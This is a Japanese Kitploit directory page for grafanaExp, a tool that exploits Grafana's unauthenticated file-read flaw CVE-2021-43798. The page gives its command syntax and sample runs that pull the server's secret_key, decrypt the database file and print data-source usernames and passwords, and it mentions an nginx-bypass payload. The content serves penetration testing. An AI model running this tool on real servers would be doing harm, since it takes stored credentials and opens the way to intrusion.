Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
grafanaExp — Grafanaの認証なし任意ファイル読み取り脆弱性(CVE-2021-43798)のエクスプロイトツール。プラグインのブルートフォース、secret_keyの抽出、data_source情報の自動復号が可能。 | Kitploit
ツール/GitHubGitHub/a-d-team/grafanaexp
暗号化/復号化ツール脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHuba-d-team/grafanaexp

grafanaExp

Grafanaの認証なし任意ファイル読み取り脆弱性(CVE-2021-43798)のエクスプロイトツール。プラグインのブルートフォース、secret_keyの抽出、data_source情報の自動復号が可能。

リポジトリを見る
27032310ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

grafanaExp

Grafana CVE-2021-43798 の任意ファイル読み取り脆弱性を利用し、脆弱性の有無、存在するプラグイン、キーの抽出、サーバー側のDBファイルの復号、およびdata_source情報の出力を自動的に行います。

使い方

exp 機能と decode 機能を提供します。

root@kitploit:~
➜  ./grafanaExp -h
NAME:
   grafanaExp - Exploit Grafana with CVE-2021-43798 Arbitrary File Read.

USAGE:
   grafanaExp [global options] command [command options] [arguments...]

AUTHOR:
   A&D-Team

COMMANDS:
   exp      -u [url] -p [plugin] -c [config] -d [db] -k [key]
   decode   decode -f [dbfile] -k [key]
   help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --help, -h  show help (default: false)

Exp

脆弱性の有無、存在するプラグイン、キーの抽出、サーバー側のDBファイルの復号を自動的に検出し、data_source情報を出力します:

root@kitploit:~
➜  ./grafanaExp exp -u http://localhost:3000/ 
2021/12/07 22:19:10 Target vulnerable has plugin [alertlist]
2021/12/07 22:19:10 Get secret_key [SW2YcwTIb9zpOOhoPsMm]
2021/12/07 22:19:10 type:[mysql]        name:[MySQL_01]         url:[test.mysql.io:3306]        user:[root]     password[rootpassword]  database:[test_dbname]  basic_auth_user:[]      basic_auth_password:[]
2021/12/07 22:19:10 type:[mssql]        name:[Mssql_01]         url:[test_sqlserver:1433]       user:[admin]    password[adminpassword] database:[db_sqlserver] basic_auth_user:[]      basic_auth_password:[]
2021/12/07 22:19:10 type:[elasticsearch]        name:[es_01]            url:[http://localhost:9200]     user:[] password[]      database:[]     basic_auth_user:[basic_user]    basic_auth_password:[basic_pass]
2021/12/07 22:19:10 type:[postgres]     name:[Postgre_01]               url:[Postgre_01:5432]   user:[pppp]     password[sssswwwww]     database:[postgredb]    basic_auth_user:[]      basic_auth_password:[]
2021/12/07 22:19:10 All Done, have nice day!

Decode

DBファイルが大きすぎる場合、まずローカルにダウンロードしてからローカルで復号できます:

root@kitploit:~
➜ ./grafanaExp decode -f grafana.db -k SW2YcwTIb9zpOOhoPsMm
2021/12/07 23:00:20 type:[mysql]        name:[MySQL_01]         url:[test.mysql.io:3306]        user:[root]     password[rootpassword]  database:[test_dbname]  basic_auth_user:[]      basic_auth_password:[]
2021/12/07 23:00:20 type:[mssql]        name:[Mssql_01]         url:[test_sqlserver:1433]       user:[admin]    password[adminpassword] database:[db_sqlserver] basic_auth_user:[]      basic_auth_password:[]
2021/12/07 23:00:20 type:[elasticsearch]        name:[es_01]            url:[http://localhost:9200]     user:[] password[]      database:[]     basic_auth_user:[basic_user]    basic_auth_password:[basic_pass]
2021/12/07 23:00:20 type:[postgres]     name:[Postgre_01]               url:[Postgre_01:5432]   user:[pppp]     password[sssswwwww]     database:[postgredb]    basic_auth_user:[]      basic_auth_password:[]

更新

root@kitploit:~
1、httpsをサポート(昨日はtransportに奇妙な問題があったため追加しませんでした)
2、darwin用の実行ファイルを追加
3、nginxをバイパスするペイロードを追加(net/httpをそのまま修正)

声明

本プログラムは、許可されたセキュリティテストおよび研究目的にのみ使用されるべきです。

ツールをダウンロード